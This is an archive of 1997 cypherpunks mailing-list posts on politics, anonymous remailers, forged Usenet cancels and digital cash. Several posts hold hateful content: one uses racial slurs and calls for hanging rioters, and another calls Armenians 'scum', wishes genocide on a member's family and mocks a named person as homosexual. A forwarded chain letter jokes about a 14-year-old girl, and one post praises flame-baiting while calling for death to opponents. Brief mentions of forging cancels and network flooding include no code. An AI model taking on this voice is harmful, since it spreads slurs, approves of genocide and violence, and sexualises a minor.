the pattern.  [Humorous because such bans went out the door with Gutenberg
about 500 years ago.]

Her administration also attempted to ban handgun sales in San Franciso but
because California gun nuts had long ago enacted one of the state preemption
laws that the NRA used to push, the courts threw her ban out.  [These laws
say that only the state government can regulate guns.]

If I were her, I'd probably "fear the revolutionary justice of the people" as
well.  [If you've ever seen film of these female congresscritters brandishing
assault rifles at a dog and pony show where they are supposed to examine
these "weapons of war", you'd certainly agree that *they* shouldn't be
allowed to handle guns.]

DCF

 
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gIeVulOnB24=
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Sat, 17 May 1997 00:26:20 +0800
To: Tom Allard <cypherpunks@toad.com
Subject: Re: The Inducement of Rapid Oxidation of Certain Materials....
In-Reply-To: <19970514142758.42227@bywater.songbird.com>
Message-ID: <3.0.1.32.19970516120309.006b1f90@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

>The topic at hand was "Do governments kill more than individuals?".
>Bringing Rawanda up as a counter-example to government and calling it an
>anarchy is kind of dishonest, don't you think?  

Kent should try and read up a little.  The slaughter in Rawanda started when
the government radio stations began broadcasting orders for tribal members to
come by and pick up their government-purchased machetes and get out there and
start hacking.  It was a classic government ordered slaughter.

Rawanda was small potatoes by historical standards, however.

For the actual numbers of the major government murders see

http://www.laissezfaire.org/pl6300.html

DEATH BY GOVERNMENT
by R.J. Rummel
(Transaction Books, 1994)

Contents: 

I. Background
The New Concept of Democide, 31.
Over 133,147,000 Murdered: Pre-Twentieth-Century Democide, 45. 

II. 128,168,000 Victims: The DekaMegaMurderers
61,911,000 Murdered: The Soviet Gulag State, 79.
35,236,000 Murdered: The Communist Chinese Anthill, 91.
20,946,000 Murdered: The Nazi Genocide State, 111.
10,214,000 Murdered: The Depraved Nationalist Regimes, 123. 

III. 19,178,000 Victims: The Lesser MegaMurderers
5,964,000 Murdered: Japan's Savage Military, 143.
2,035,000 Murdered: The Hell State: Cambodia Under the Khmer Rouge, 159.
1,883,000 Murdered: Turkey's Genocidal Purges, 209.
1,670,000 Murdered: The Vietnamese War State, 241.
1,585,000 Murdered: Poland's Ethnic Cleansing, 297.
1,503,000 Murdered: The Pakistani Cutthroat State, 315.
1,072,000 Murdered: Tito's Slaughterhouse, 339. 

IV 4,145,000 Victims: The Suspected MegaMurderers
1,663,000 Murdered? Orwellian North Korea, 365.
1,417,000 Murdered? Barbarous Mexico, 381.
1,066,000 Murdered? Feudal Russia, 397. 

DCF
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 17 May 1997 02:24:13 +0800
To: cypherpunks@toad.com
Subject: Re: eternity-lite & cancel msgs
In-Reply-To: <199705160845.JAA00241@server.test.net>
Message-ID: <u92s7D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Adam Back <aba@dcs.ex.ac.uk> writes:

> One issue with the system is that censors will issue cancel messages
> for the articles.  Not too much which can be done about this.  Some
> trends tend to help this problem:

The vast majority of cancels in the "control" newsgroup are the so-called
"third party cancels" (a.k.a. forgeries).

In the U.S. many major ISPs like America Online and Earthlink are ignoring
cancels outright.  It's easy - start the latest version of INN with the
-C flag, or apply Dave Hayes's patches at http://www.jetcafe.org/~dave/usenet.

> Cancel message abuse by people running cancel bots reflecting their
> censorous views have resulted in some sites ignoring cancel messages.

Quite a few, I might add.  The only reason why Demon processes cancels is
that Ade Lovett is a homosexual who wants to be able to censor "homophobic"
Usenet articles. :-)

Forging cancels is easy -- see the cancelbot I posted last year.

> Another aspect of the system is that it relies on news archival
> services such as dejanews and altavista; these presumably don't listen
> to cancel messages for already archived data (? guessing here).  The
> archive maintainers presumably don't want to get involved in disputes
> over which old articles should be purged from their archive anyway.

Correct: none of the 3 major archival services (dejanews, altavista,
reference.com) delte articles based on cancel or supersedes once they
receive them.

However an author can explicitly ask dejanews to delete his articles.

All 3 now don't archive articles that say 'X-No-Archive: yes'.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 3umoelle@informatik.uni-hamburg.de (Ulf =?ISO-8859-1?Q?M=F6ller?=)
Date: Fri, 16 May 1997 18:46:52 +0800
To: kent@songbird.com
Subject: Re: Anonymous Remailers
In-Reply-To: <19970515192926.34411@bywater.songbird.com>
Message-ID: <9705161034.AA54548@public.uni-hamburg.de>
MIME-Version: 1.0
Content-Type: text/plain


> Hmm.  I did read, and I thought I understood this.  I claim that if
> the remailers collude, then there in no anonymity.  Correct?

Correct.

> Even if I insert my own remailer in the list it doesn't help, if the
> others are all in cahoots.  This seems pretty obvious.  They all
> compare logs, and saved copies of the messages, and my message can
> be tracked from beginning to end.  Right?

Wrong. One trusted mix is enough to guarantee anonymity: There is a
large number of fixed-size messages coming in and a large number of
messages going out in random order.  (Consult the archives for
information about possible attacks, such as flooding a remailer with
dummy messages, and how to detect/prevent them.)

> I see a list of remailers posted on cypherpunks periodically -- a
> "cypherpunks" approved list, therefore.  Lucky Green admits publically
> that he personally knows several of the remailer operators.

So you say Raph actually *is* part of the cypherpunk conspirary??!

BTW, that list is the "list of reliable remailers", not the "list of
cypherpunk approved remailers".  Now guess how a remailer qualifies to
be listed.

> And clearly, remailer operators must share a common ideological
> focus...

Remailer operators share the belief that it must be possible to use
the net anonymously, without leaving traces.  Is that what you mean?

PS: Did you know that one remailer operator formerly was a soldier in
East Germany's National People's Army?

-- 
|\/| L~ |\ | | <~  /\
|  | L_ |/ \_/ _> /~~\





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 17 May 1997 02:27:50 +0800
To: cypherpunks@toad.com
Subject: BofA / Visa to test Cash Online
Message-ID: <v03020902afa24a32b741@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Sender: e$@thumper.vmeng.com
Reply-To: "R. Jason Cronk" <list-manager@purple.reddesign.com>
Mime-Version: 1.0
Precedence: Bulk
Date:  Thu, 15 May 1997 12:42:56 -0400
From: "R. Jason Cronk" <list-manager@purple.reddesign.com>
To: Multiple recipients of <e$@thumper.vmeng.com>
Subject:  BofA / Visa to test Cash Online

Bank of America, Visa To Test Cash Online

****Bank of America, Visa To Test Cash Online 05/15/97 SAN FRANCISCO,
CALIFORNIA, U.S.A., 1997 MAY 15 (NB) -- By Bill Pietrucha. Virtual cash -
backed by the real stuff, of course- is coming to the Internet. Bank of
America and Visa International said they will conduct a pilot test
ofstored-value chip card transaction on the Internet this summer,
essentially giving consumers and merchants an online equivalent to cash and
coins for small purchases.


http://www.nbnn.com/8.html


----------
The e$ lists are brought to you by:

Intertrader Ltd:                "Digital Money Online"
<http://www.intertrader.com/library/DigitalMoneyOnline>

Where people, networks and money come together: Consult Hyperion
http://www.hyperion.co.uk                    info@hyperion.co.uk

Like e$? Help pay for it! <http://www.shipwright.com/beg.html>
For e$/e$pam sponsorship, mail Bob: <mailto:rah@shipwright.com>

Thanks to the e$ e$lves:
Of Counsel: Vinnie Moscaritolo <mailto:vinnie@webstuff.apple.com>
(Majordomo)^2: Rachel Willmer<mailto:rachel@intertrader.com>
Commermeister: Anthony Templer <mailto:anthony@atanda.com>
Interturge: Rodney Thayer <mailto:rodney@sabletech.com>




--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 17 May 1997 08:31:06 +0800
To: cypherpunks@toad.com
Subject: Re: Dan White & Feinstein
In-Reply-To: <3.0.1.32.19970516110732.02653dd4@panix.com>
Message-ID: <sc6s7D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Duncan Frissell <frissell@panix.com> writes:
> While mayor of San Francisco, she indulged in a number of famous suppressions
> of free speech:
> 
> 1)  She cancelled the appearance of the Turkish Folklorico Ballet because of
> demonstration threats from the (no longer starving) Armenians.

Yes - Armenians are censorous scum.  I'm sorry the Turks didn't get
Ray Arachelian's grandparents.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tzeruch@ceddec.com
Date: Sat, 17 May 1997 02:38:24 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Civil Disobediance
In-Reply-To: <199705150652.XAA21425@fat.doobie.com>
Message-ID: <97May16.142233edt.32257-1@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, 15 May 1997, Huge Cajones Remailer wrote:

> "All that matters is how we die: shall we offer our bodies helplessly,
> like cattle, to the knife, or, refusing passively to await the end
> shall we turn the strength of our anger to one last battle, til,
> daring and doing, we fall, drenched with their blood, amongst the
> heaped bodies and weapons of our dying enemies?"  -- Livy Book XXV

They couldn't move with their wealth out of the way, so the alternatives
were limited.

> We've seen many sentiments like this one on the list lately.  Such
> sentiments are understandable and have a certain visceral appeal.  And
> it is good that people who are thinking along these lines are also
> telling their friends on the list instead of censoring themselves.
> 
> But, these strategies are not the best we can choose to achieve our
> true goals.  Few of us wish to be martyrs.

I worry about the government about the same as I worry about the people
who will be the barbarians when the government fails (or those who already
are ignoring government - There are some locations I have a risk of being
shot if I go).  If government has any purpose, it is to protect me from
barbarians, which is something they are failing at.  If they can't or
won't do so, why do I need government?

The internet causes data to flow like water - eventually going around any
obstacle.  If you close off a dam completely, it will eventually overflow.
And things like titles and money are more like data than physical objects.

In a few years, the government will be fighting against obsolecense and
irrelevancy.  This is only scary because they have weaponry.

Home Schooling is now easy since teaching materials can be had easily, and
you can contact thousands of people to form a support group.  Government
money will be replaced by digital commodity warehouse receipts - do you
trust lots of people who will go out of business if they cheat more than
the federal reserve and FDIC?  Email will replace most of the first class
mail business post office, and web sites most of the third.  SPAM is being
solved by the net itself (how long would it take congress to pass a bill,
then pass another one the next year to fix the problems in the first...).

Government as the Nanny that protects and provides for you will disappear
since everything that can be reduced to data will be routed out of their
hands, just as the current democracies replaced the monarchies when
education was spread from the elite who had time to study to the masses.

I don't know what will replace it, but I know I will have far more control
over and responsibility for my own life.  And this may include protecting
myself from the barbarians or government who only have and respect
violence.  If my wealth is not going to be accessible, it makes me a less
likely target for either, and if I can get anything I need without going
through their devices, they can't threaten to withold something.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 17 May 1997 06:05:49 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Civil Disobediance
In-Reply-To: <199705150652.XAA21425@fat.doobie.com>
Message-ID: <v03007802afa2927b2003@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 10:24 AM -0800 5/16/97, tzeruch@ceddec.com wrote:

>I worry about the government about the same as I worry about the people
>who will be the barbarians when the government fails (or those who already
>are ignoring government - There are some locations I have a risk of being
>shot if I go).  If government has any purpose, it is to protect me from
>barbarians, which is something they are failing at.  If they can't or
>won't do so, why do I need government?

The barbarians are already inside the gate, at least here in the United
States. When rioters can burn down a major part of a major city, as in
L.A., and those defending their property are defined as "armed militia
members" and "Korean extremists," and when the Police Commission finally
admits that they hired a black as Police Chief to forestall further riots
by the "rioters of color," we know we've been invaded by the barbarians.

My solution: Take those who burned stores and looted supermarkets, give
them a quick and fair trial, and, if convicted, hang them at the nearest
major intersection. And give medals to the Koreans who shot "da niggaz"
(the name they choose to call themselves--something is might strange when
whites are castigated for even occasionally using the "N-word" while the
bruthas call each other niggaz and hoes and listen to "Niggaz with
Attitude" (NWA) on their boom boxes.).

I have no problems with blacks, greens, yellows, oranges, or violets who do
their own thing. But when they demand that I hire them when I don't want
to, or that I promote based on quotas of various racial sorts, or when they
rampage ad burn down neighborhoods, and when self-defense is outlawed, then
I react by reaching for my assault rifles.

(Next time you're asked to report your race on the Racial Klassification
Forms at the gun store, or your employer, or in the next census, report
that you are black. Under the Racial Purity Laws of 1968, anyone who is
more than 1/16th black is officially of the Negroid persuasion. And since I
have no idea what my ancestors back then were, or whom they were screwing,
who's to say I'm not Negroid? Let the Racial Police challenge me to prove
my Aryan bloodlines! We defeated the Germans so we could institute the same
racial laws they had.)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Sat, 17 May 1997 02:24:17 +0800
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: TEXTO - Text steganography
In-Reply-To: <199705160908.CAA03291@fat.doobie.com>
Message-ID: <Pine.LNX.3.91.970516152250.3822A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



>    Texto text files look like something between mad libs and bad poetry,
> (although they do sometimes contain deep cosmic truths) and should be
> close
> enough to normal english to get past simple-minded mail scanners and to
> entertain readers of talk.bizarre.
> -------------
> 
>   Perhaphs this explains why, when I tried it, it signed Paul Bradley's
> name to the output.

Mr. Nobody,

This message justified the fact that I do not have a killfile deleting 
remailer messages at present. ROFL.

BTW Kent, I thought you never used remailers... ;-)

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@squirrel.owl.de>
Date: Sat, 17 May 1997 00:48:34 +0800
To: cypherpunks@algebra.com
Subject: Re: your mail
Message-ID: <19970516161608.25960.qmail@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: text/plain


Subject: "Liten rolig historia (fwd)" (fwd)


Nothing wrong in being superstitious...

 > > READ THIS MESSAGE AND PASS IT ON....
 > > A man takes the day off work and decides to go out golfing.  He is
 > > on the second hole when he notices a frog sitting next to the green.
 > > He  thinks nothing of it and is about to shoot when he hears,
 > > "Ribbit. 9 Iron"  The man looks around and doesn't see anyone.
 > > "Ribbit. 9 Iron." He looks at  the frog and decides to prove the
 > > frog wrong, puts his other club away, and  grabs a 9 iron. Boom! he
 > > hits it 10 inches from the cup. He is shocked. He  says to the frog,
 > > "Wow that's amazing. You must be a lucky frog, eh?" The frog reply's
 > > "Ribbit. Lucky frog." The man decides  to take the frog with him to
 > > the next hole. "What do you think frog?" the  man asks. "Ribbit. 3
 > > wood."  The guy takes out a 3 wood and Boom! Hole in one. The man is
 > > befuddled and doesn't know what to say. By the end of the day, the
 > > man golfed the best game of golf in his life and asks the frog,"OK
 > > where to next?" The frog replied, "Ribbit. Las Vegas." They go to
 > > Las Vegas and the guy says, "OK frog, now what?"  The frog says,
 > > "Ribbit Roulette." Upon approaching the roulette table, the man
 > > asks," What do you think I should bet?" The frog replies, "Ribbit.
 > > $3000,black 6." Now, this is a million-to-one shot to win, but after
 > > the golf game, the man figures what the heck. Boom! Tons of cash
 > > comes sliding back across the table. The man takes his winnings and
 > > buys the best room in the hotel.  He sits the frog down and says,
 > > "Frog, I don't know how to repay you.  You've won me all this  money
 > > and I am forever grateful." The frog replies, "Ribbit, Kiss Me." He
 > > figures why not, since after all the frog did for him he deserves
 > > it. With a  kiss, the frog turns into a gorgeous 14-year-old girl.
 > > "And that, your honor, is how the girl ended up in my room."
 > >
 > > The origination of this letter is unknown, but it  brings good
 > > luck to everyone who passes it on.  The one who breaks the chain
 > > will have bad luck.  Do not keep this letter.  Do not send money.
 > > Just forward it to five of your friends to whom you wish good luck.
 > > You will see that something good happens to you four days from now
 > > if the chain is not broken.  You will receive good luck in four
 > > days.









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Theodor.SCHLICKMANN@bxl.dg13.cec.be
Date: Fri, 16 May 1997 23:48:09 +0800
To: <cypherpunks@algebra.com>
Subject: New Encryption Code
Message-ID: <WIN2359-970516143008-6C0F*/G=Theodor/S=SCHLICKMANN/OU=BXL/O=DG13/PRMD=CEC/ADMD=RTT/C=BE/@MHS>
MIME-Version: 1.0
Content-Type: text/plain



Reuters News published on Thu May 8 the following:
(extracts only)

>IBM Researchers devise new encryption code

snip

>Encryption products, which scramble information and render
>it unreadable without a password or software "key", have
>become an increasingly important component of global
>communications and online commerce over the Internet.

>"This is a pioneering accomplishment in the field of
>cryptography and a big step toward the ultimate in
>cryptography --  a truly invincible mathematically
>proven method for protecting private computer
>information from unwanted viewing," said Ashok
>Chandra, a manager of computer science at IBM's
>Almaden Research Center in San Jose, Calif.

>The system was invented by computer scientists Miklos
>Ajtai and Cynthia Dwork of IBM's Almaden lab.

snip

The complete message disappeard the other day and my
follow up investigations failed.

Does somebody have more information than what was
given in the message by Reuters.


Theodor Schlickmann 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Sat, 17 May 1997 09:06:42 +0800
To: cypherpunks@toad.com
Subject: Commercial privacy proxy server available
Message-ID: <3.0.1.32.19970516175007.00940890@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain



See <http://www.iproxy.com/>; their service agreement isn't very
pro-privacy (they don't want you to use it for porn, and reserve the right
to disclose records to law enforcement or third parties, pursuant to
warrant/process *or* informal request), but it's an interesting development. 
--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Sat, 17 May 1997 09:37:50 +0800
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: intellectual capital
In-Reply-To: <3.0.1.32.19970515213401.002ec988@popd.ix.netcom.com>
Message-ID: <199705170125.SAA05023@netcom18.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


an interesting trend is occuring relative to the term
"intellectual capital" that BS's message reminds me of.
I've read recent issues of Forbes and "fast company" that
talk about the concept of "intellectual capital", the
former ridiculing it and the later glorifying it.

what is intellectual capital? in short, in the information
age, value becomes more and more abstract. you don't measure
value any more in a company by the number of heads, like
cattle, but in fact the volume of those heads. "intellectual
capital"-- one person may be worth ten times another based
on their contribution to the profitability of a company.

increasingly we are going to see business models that reflect
this truism, much to the dismay of "atom-based" companies
that will fight this trend tooth and nail, and die out
like dinosaurs kicking and screaming. we will see people
make money that relates far more to their actual contribution
to a company. if programmers are adding the most value, then
their salaries will reflect it. in a way, their salaries
already reflect it!

part of my posting the "microstock market" is that I hope
that this trend continues to the point that it may be possible
some day to have a stock market of ideas-- a far more 
conceptual construction in which value is related to the
people participating and their ideas, not the amount of
atoms/mass that is involved. I suspect such a thing will
eventually happen.

I think in the future we will also see ways of growing companies
from the very most seed-like idea to the mass manufacturing
system. there will be some kind of cohesion and elegance about
the whole thing, as the process is recognized as basic as
growing plants. 

a neat book I would recommend to anyone is called "accidental
empires" by an infoworld columnist on the computer industry
that hints on some of these ideas.

on to BS..

>
>Really interesting post!  I think the net will simplify the
>ownership issues and the publicity issues long before it
>makes good information about the value of small companies
>easy to get.  That's far more dependent on the personalities
>of the players in a company (hard to judge, except in person),
>the ideas the company's trying to develop into products/services
>(may need non-disclosure arrangements,


intellectual capital. imagine everyone's resumes being posted
on their web site. it may be hard to judge, but the information
is there for you if you have some kind of measure. such systems
already exist today for some companies. you see everyone's
resume online. also, in companies in which people have individual
web pages describing internal company projects, I suspect increasingly
these pages will be open to the outside world so customers can
better judge the value of a company.

[ideas] may need privacy to 
>develop in, may not want to waste their time publicizing each
>step in their decision processes, contract negotiations are
>usually very private, etc.)  

the question to ask is about "open standards" in the computer
industry. ultimately I think this is a concept that will become
far more global than merely electronics and software but begin
to permeate the entire economic system. notice that it is possible
for companies to survive, even thrive, on open standards. everyone
benefits. it's not a "us vs. them" thing any more, a paradigm
shift that requires some people to rethink their approaches
and attitudes. (bill gates would be one example of this. he has
found in the past that he made enemies out of companies that were
not really his enemy. see the "accidental empire" book).

however I do agree there is a role for secrecy even in this
system. however openness/publicity will tend to be the new
norm, instead of closed-up boxes as it is now.

>On the other hand, the net can often help those parts of a business.
>The Cygnus Support folks have done well in a very open environment.
>I recently talked with a headhunter who'd seen my discussion with 
>someone on Usenet and wanted an opinion about the guy;
>the headhunter was doing a lot of in-depth web searching to find 
>people who might be interested or qualified for a position he was
>trying to fill.

yes, what I see in the computer industry is that increasingly because
the intellectual capital is so valuable, you are going to see situations
in which valuable players become like "free agents". they move around
teams, they have people who do nothing but figure out where to plug
them into, and their salaries are very high. this is happening right
now in the computer industry. the concept of working at one company
or another is increasingly less relevant. I've not seen many good books
or articles on this amazing phenomenon, and hope that some people
might be able to cite some.

>Venture capital firms provide some value to their investors
>by managing the granularity of the transactions, but they also
>add value by providing personal understanding of the companies 
>they're evaluating whether to invest in.

I agree. venture capital firms are on the leading edge of understanding
the importance of "intellectual capital" and what it adds to a company.
although I've heard horror stories of VC firms that just throw a lot
of money around without the slightest clue about the technology
involved. I suspect the converse is true that there are some very
sophisticated technology-only VC firms that go over the technology
they are funding with a fine-toothed comb. the image of VC is that
it is very chaotic and hit or miss but I wonder if some VC firms
are becoming far more scientific than throwing darts ...

  Information wants to be free,
>or is at least cheap to copy, but providing the personal attention
>needed to understand and analyze information and make good decisions on it
>is still expensive.

intellectual capital is what transforms mere information into 
profit. there is a proportion going on here that might be 
exponential (profit is exponentially related to intellectual
capital?)  unfortunately while I believe IC exists, it is very
hard to measure. it's like an intelligence test. everyone agrees
that "intelligence exists", but no one has found a foolproof
way to measure it. oh well, the market will support those who
come the closest to the optimum.

  The nets can improve the
>information they have available on both the company and the market,
>and can provide better information to investors about what 
>venture capital analysts are good at evaluating what kinds of businesses.

tremendously. in fact I think our future economy is going to become
extremely web-based. customers and companies will all use the web
to interface with each other. companies without web pages will be
considered extremely gauche.

>Will the nets split these businesses up into individual
>venture-advice-consultants competing for investors?  Or will the 
>lead to broader coordination between venture capital businesses?  
>Or both?

there is a neat idea in "accidental empires" that involves the 
idea of a software studio, which I think is a great idea. in short,
the idea is to make software creation like moviemaking. you begin
from the start in assuming that you may or may not have a hit.
you hire contract workers who get a piece of the final action.
the contract workers move onto new projects all the time. I think
this could be a very powerful model, which is already being used
in the production of computer games.


p.s. thanks for taking me seriously BS <g>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Sat, 17 May 1997 09:50:22 +0800
To: TruthMonger <tm@dev.null>
Subject: Re: Just Say "No" to Congress
In-Reply-To: <199705160607.AAA23128@wombat.sk.sympatico.ca>
Message-ID: <199705170129.SAA05200@netcom18.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



>
>Vladimir Z. Nuri wrote:
>> anyone who disbelieves in the authority of the US government
>> yet sends them their tax money is a hypocrite.
>
>  Horseshit. That's no different from saying that anyone who
>disbelieves in the authority of armed robbers yet gives them
>their wallet is a hypocrite.
>  Do you actually put any thought into your posts?
>

ok truthmonger, after someone has stolen your money, do you
report it to the police, or do you just sit around and
curse the evildoer? what is your response when your money
is stolen?

if you do report the thief to the police, what is the equivalent
of doing this with government tax money?

 the basic idea is that "he who does nothing has
no right to complain, but of course that has never stopped
anyone from complaining"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Sat, 17 May 1997 09:57:16 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Disinformation from folks like Kent on this list
In-Reply-To: <v03007809afa24cd04da0@[207.167.93.63]>
Message-ID: <199705170144.SAA06361@netcom18.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


ah, kent crispin is a man after my own heart. good work Kent,
keep at it, and hone your style, after many months you may
be able to create seething cascading flamewars with only a few
posts. (hee, hee) the idea is to find the hot button of your
opponent, and then push it endlessly. wheeeeeeee!!! cypherpunks
have a *lot* of hotbuttons, I can assure you.

keep up the good work, Kent, uh, if that is really your real
name (heh heh)

TCM
>
>- unawareness of the situation in Rwanda, though he cites it as an example
>of why "anarchy leads to mass killings."

history is a clear example of this. only an anarchist such as yourself
would contest such a blatently obvious fact. if you do argue against it,
you're clearly using some concept of "anarchy" not commonly understood.
but of course, that has always been what you are doing. here is a question
for you: are there any synonyms in the english language that come closer
to what you are advocating than "anarchy"? surely you can think of some.
but of course, the word "anarchy" was very deliberately chosen.

>
>- he cites hackneyed Webster's definitions of "anarchy" to make some point,
>then objects that others are relying too much on definitions when they
>refute him.

as others have noted, the "cypherpunk vocabulary" is a bit different
than that used by most english-speaking people. the cypherpunks have
their own vocabulary in which words like "democracy, anarchy, 
leadership" etc. become highly charged words with new meanings. a
complex culture.

anyone with more interest should see www.csn.net/~ldetweil, an amusing
site on the subject of "cypherpunk sociology" etc.

>- he proudly admits to not having looked at past archives, nor I presume at
>the large file I generated a few years ago (Cyphernomicon), covering many
>of the issues he keeps raising.

oh, the horror that he hasn't read every single post of yours and your
tedious and disorganized "faq". ahem, I credit you for putting in a lot
of time into the project, but perhaps you would get more bang for your
buck designing chips or whatever it was you used to do.  eeeks, that
came out sounding pretty horrible, please rest assured that if it sounded
offensive I didn't *mean* it that way!!! thanks for your understanding
and patience.

>(Speaking as an info-terrorist who sees strong crypto as a tool for
>triggering the eventual collapse of governments and dispenser of justice to
>the criminal rulers, I certainly won't be "volunteering" to use any key
>recovery tools, leastwise none that put the key in any subpoenable
>repository. Maybe key recovery with my lawyer, outside the U.S., but not in
>any Netscape's Trusted Key Suppository.)

question:

has there ever been a period in history that you cite as "anarchy" that
you would hold up as an example of what you are talking about?

if not, why is it that nobody has stumbled on it in the millenia of
human social systems?


>I've taken to sometimes responding to him, but usually not. Nothing
>delights me more than seeing some long rambling criticism of us, and our
>work, and then deleting it.

nothing delights me more in pushing hotbuttons or seeing a young
up-and-coming whippersnapper with a good taste for the same. beep, beep, BEEP

>Kent is just one of several folks who've discovered this list, share none
>of its core values, and seeks to disrupt it with innuendos, spam, insults,
>and disinformation.

a man after my own heart. kent, keep up the good work.

>Kent, please go away.
>

Tim, please go away.

Tim is one of several people who pretends to have started this list, 
brainwashes everyone with his core values, and seeks to mold it into
his own image with innuendos, camouflaged spam, insults, and 
disinformation.

Only one response is warranted 
to the cryptonarchists who claim that a nonviolent anarchy exists: 
"Death to Cryptoanarchists!"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Sat, 17 May 1997 12:02:02 +0800
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: The Inducement of Rabid Anarchism in Certain   Materialists...
In-Reply-To: <19970514142758.42227@bywater.songbird.com>
Message-ID: <v0300782aafa2bf001d89@[207.94.249.70]>
MIME-Version: 1.0
Content-Type: text/plain


At 9:10 PM -0700 5/15/97, Bill Stewart wrote:
>But people are still going to teach their kids what they need,
>and people are still going to keep most of their agreements with
>their neighbors, and they're still going to help each other resolve
>arguments about the agreements that weren't kept, whether that
>resolution is done by an armed posse, or by the offender's family
>paying off the obligation in cattle, or by shunning people until they
>do the right thing, or refusing to give credit to known deadbeats,
>or whatever...

Or by SYN/ ARP flooding.  :-)


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 17 May 1997 09:18:01 +0800
To: cypherpunks@toad.com
Subject: Secure payments on the Internet the focus of internationalconference June 19-20 in Washington
Message-ID: <v03020902afa2a23ffa0a@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Date: Fri, 16 May 1997 15:17:31 -0400
From: Debra Greenberg <101664.3477@compuserve.com>
Organization: FBMA America Inc.
MIME-Version: 1.0
To: rah@shipwright.com
Subject: Secure payments on the Internet the focus of international
conference June 19-20 in Washington
X-URL: http://www.shipwright.com/#contact

Hello, Mr. Hettinga -- I'm a fairly recent fan of e$, having learned
about it only a month ago.

Aware as I am of the rules of Netiquette, I was hoping for your advice
or assistance regarding how I might let other readers know about an
important conference coming up June 19-20 in Washington on the subject
of secure payments and the Internet.

Sponsored by Digital Equipment Corp., Hitachi, CyberCash and VeriFone,
the conference will address payment systems, security issues, digital
signatures and certification authorities, regulatory issues, standards
development, emerging technologies, and other topics.

Keynote speakers include Ira C. Magaziner, Senior Advisor to the
President for Policy Development; William Melton, CEO, CyberCash; and
Frank V. Cahouet, CEO, Mellon Bank, among others.

In addition to discussions on electronic purse, chip cards,
micropayments, credit cards on the Internet and other payment
systems, and in addition to progress reports on BIPS, NetBill,
